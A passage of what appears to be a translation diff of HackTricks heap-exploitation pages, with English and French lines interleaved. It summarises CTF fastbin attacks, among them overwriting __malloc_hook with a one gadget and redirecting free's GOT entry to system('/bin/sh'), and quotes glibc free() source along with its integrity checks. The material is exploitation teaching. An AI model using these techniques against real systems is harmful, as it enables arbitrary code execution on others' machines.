printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
> [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
> S'il est possible d'écraser la valeur de la variable globale **`global_max_fast`** avec un grand nombre, cela permet de générer des chunks de fast bin de plus grandes tailles, permettant potentiellement d'effectuer des attaques fast bin dans des scénarios où cela n'était pas possible auparavant. Cette situation est utile dans le contexte de l'[attaque de grand bin](large-bin-attack.md) et de l'[attaque de bin non trié](unsorted-bin-attack.md)
## Examples
## Exemples
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there.
- Il est possible d'allouer des chunks, de les libérer, de lire leur contenu et de les remplir (avec une vulnérabilité de débordement).
- **Consolider un chunk pour une fuite d'information** : La technique consiste essentiellement à abuser du débordement pour créer un faux `prev_size` afin qu'un chunk précédent soit placé à l'intérieur d'un plus grand, de sorte que lors de l'allocation du plus grand contenant un autre chunk, il soit possible d'imprimer ses données et de divulguer une adresse à libc (`main_arena+88`).
- **Écraser le crochet malloc** : Pour cela, et en abusant de la situation de chevauchement précédente, il était possible d'avoir 2 chunks pointant vers la même mémoire. Par conséquent, en les libérant tous les deux (en libérant un autre chunk entre les deux pour éviter les protections), il était possible d'avoir le même chunk dans le fast bin 2 fois. Ensuite, il était possible de l'allouer à nouveau, d'écraser l'adresse du chunk suivant pour pointer un peu avant `__malloc_hook` (de sorte qu'il pointe vers un entier que malloc pense être une taille libre - un autre contournement), de l'allouer à nouveau puis d'allouer un autre chunk qui recevra une adresse vers les crochets malloc.\
Enfin, un **one gadget** a été écrit là-dedans.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
- Il y a un débordement de tas et une utilisation après libération et double libération car lorsqu'un chunk est libéré, il est possible de réutiliser et de relibérer les pointeurs.
- **Fuite d'information libc** : Il suffit de libérer quelques chunks et ils obtiendront un pointeur vers une partie de l'emplacement de l'arène principale. Comme vous pouvez réutiliser les pointeurs libérés, il suffit de lire cette adresse.
- **Attaque fast bin** : Tous les pointeurs vers les allocations sont stockés dans un tableau, donc nous pouvons libérer quelques chunks de fast bin et dans le dernier écraser l'adresse pour pointer un peu avant ce tableau de pointeurs. Ensuite, allouez quelques chunks de la même taille et nous obtiendrons d'abord le légitime puis le faux contenant le tableau de pointeurs. Nous pouvons maintenant écraser ces pointeurs d'allocation pour faire pointer l'adresse GOT de `free` vers `system` et ensuite écrire `"/bin/sh"` dans le chunk 1 pour ensuite appeler `free(chunk1)` qui exécutera à la place `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Un autre exemple d'abus d'un débordement d'un octet pour consolider des chunks dans le bin non trié et obtenir une fuite d'information libc puis effectuer une attaque fast bin pour écraser le crochet malloc avec une adresse de one gadget.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
- Après une fuite d'information en abusant du bin non trié avec un UAF pour divulguer une adresse libc et une adresse PIE, l'exploit de ce CTF a utilisé une attaque fast bin pour allouer un chunk à un endroit où se trouvaient les pointeurs vers des chunks contrôlés, il était donc possible d'écraser certains pointeurs pour écrire un one gadget dans le GOT.
- Vous pouvez trouver une attaque Fast Bin abusée à travers une attaque de bin non trié :
- Notez qu'il est courant avant d'effectuer des attaques fast bin d'abuser des listes de libération pour divulguer des adresses libc/tas (lorsque nécessaire).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Nous ne pouvons allouer que des chunks de taille supérieure à `0x100`.
- Écraser `global_max_fast` en utilisant une attaque de bin non trié (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
- Attaque Fast Bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de faire pointer certaines fonctions vers `system`.
{{#ref}}
unsorted-bin-attack.md

View File

@ -1,4 +1,4 @@
# Heap Memory Functions
# Fonctions de mémoire de tas
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,95 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
## Résumé de la commande Free <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity)
(Aucune vérification n'est expliquée dans ce résumé et certains cas ont été omis pour des raisons de concision)
1. If the address is null don't do anything
2. If the chunk was mmaped, mummap it and finish
3. Call `_int_free`:
1. If possible, add the chunk to the tcache
2. If possible, add the chunk to the fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
1. Si l'adresse est nulle, ne rien faire
2. Si le chunk a été mmapé, mummappez-le et terminez
3. Appelez `_int_free` :
1. Si possible, ajoutez le chunk au tcache
2. Si possible, ajoutez le chunk au fast bin
3. Appelez `_int_free_merge_chunk` pour consolider le chunk si nécessaire et l'ajouter à la liste non triée
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`.
`Free` appelle `__libc_free`.
- If the address passed is Null (0) don't do anything.
- Check pointer tag
- If the chunk is `mmaped`, `mummap` it and that all
- If not, add the color and call `_int_free` over it
- Si l'adresse passée est nulle (0), ne rien faire.
- Vérifiez le tag du pointeur
- Si le chunk est `mmapé`, `mummap`-ez-le et c'est tout
- Sinon, ajoutez la couleur et appelez `_int_free` dessus
<details>
<summary>__lib_free code</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
int err = errno;
p = mem2chunk (mem);
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a>
It starts with some checks making sure:
Il commence par quelques vérifications pour s'assurer que :
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
- le **pointeur** est **aligné,** ou déclenche l'erreur `free(): invalid pointer`
- la **taille** n'est pas inférieure au minimum et que la **taille** est également **alignée** ou déclenche l'erreur : `free(): invalid size`
<details>
<summary>_int_free start</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
check_inuse_chunk(av, p);
```
</details>
### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
Il essaiera d'abord d'allouer ce morceau dans le tcache associé. Cependant, certaines vérifications sont effectuées au préalable. Il parcourra tous les morceaux du tcache au même index que le morceau libéré et :
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
- S'il y a plus d'entrées que `mp_.tcache_count` : `free(): trop de morceaux détectés dans le tcache`
- Si l'entrée n'est pas alignée : `free(): morceau non aligné détecté dans le tcache 2`
- si le morceau libéré avait déjà été libéré et est présent en tant que morceau dans le tcache : `free(): double libération détectée dans le tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns.
Si tout se passe bien, le morceau est ajouté au tcache et la fonction retourne.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
Commencez par vérifier que la taille est appropriée pour le fast bin et vérifiez s'il est possible de le placer près du top chunk.
Then, add the freed chunk at the top of the fast bin while performing some checks:
Ensuite, ajoutez le chunk libéré en haut du fast bin tout en effectuant quelques vérifications :
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
- Si la taille du chunk est invalide (trop grande ou trop petite) déclenchez : `free(): invalid next size (fast)`
- Si le chunk ajouté était déjà le top du fast bin : `double free or corruption (fasttop)`
- Si la taille du chunk en haut a une taille différente de celle du chunk que nous ajoutons : `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
</details>
### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
Si le morceau n'était pas encore alloué dans un conteneur, appelez `_int_free_merge_chunk`
<details>
<summary>_int_free finale</summary>
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
else {
munmap_chunk (p);
}
}
```
</details>
## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
Cette fonction essaiera de fusionner le chunk P de SIZE octets avec ses voisins. Mettre le chunk résultant sur la liste des bins non triés.
Some checks are performed:
Certaines vérifications sont effectuées :
- If the chunk is the top chunk: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
- Si le chunk est le chunk supérieur : `double free or corruption (top)`
- Si le chunk suivant est en dehors des limites de l'arène : `double free or corruption (out)`
- Si le chunk n'est pas marqué comme utilisé (dans le `prev_inuse` du chunk suivant) : `double free or corruption (!prev)`
- Si le chunk suivant a une taille trop petite ou trop grande : `free(): invalid next size (normal)`
- si le chunk précédent n'est pas utilisé, il essaiera de consolider. Mais, si le prev_size diffère de la taille indiquée dans le chunk précédent : `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,163 +1,163 @@
# Heap Functions Security Checks
# Vérifications de sécurité des fonctions de tas
{{#include ../../../banners/hacktricks-training.md}}
## unlink
For more info check:
Pour plus d'infos, consultez :
{{#ref}}
unlink.md
{{#endref}}
This is a summary of the performed checks:
Voici un résumé des vérifications effectuées :
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- Error message: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- Error message: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)`
- Vérifiez si la taille indiquée du morceau est la même que le `prev_size` indiqué dans le morceau suivant
- Message d'erreur : `corrupted size vs. prev_size`
- Vérifiez également que `P->fd->bk == P` et `P->bk->fw == P`
- Message d'erreur : `corrupted double-linked list`
- Si le morceau n'est pas petit, vérifiez que `P->fd_nextsize->bk_nextsize == P` et `P->bk_nextsize->fd_nextsize == P`
- Message d'erreur : `corrupted double-linked list (not small)`
## \_int_malloc
For more info check:
Pour plus d'infos, consultez :
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **Checks during fast bin search:**
- If the chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- Error message: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20;
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
- Error message: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- If the chunk size is weird (too small or too big):&#x20;
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
- If the next chunk isn't indicating that the previous is in use:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:**
- `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size`
- **Vérifications lors de la recherche dans le fast bin :**
- Si le morceau est mal aligné :
- Message d'erreur : `malloc(): unaligned fastbin chunk detected 2`
- Si le morceau suivant est mal aligné :
- Message d'erreur : `malloc(): unaligned fastbin chunk detected`
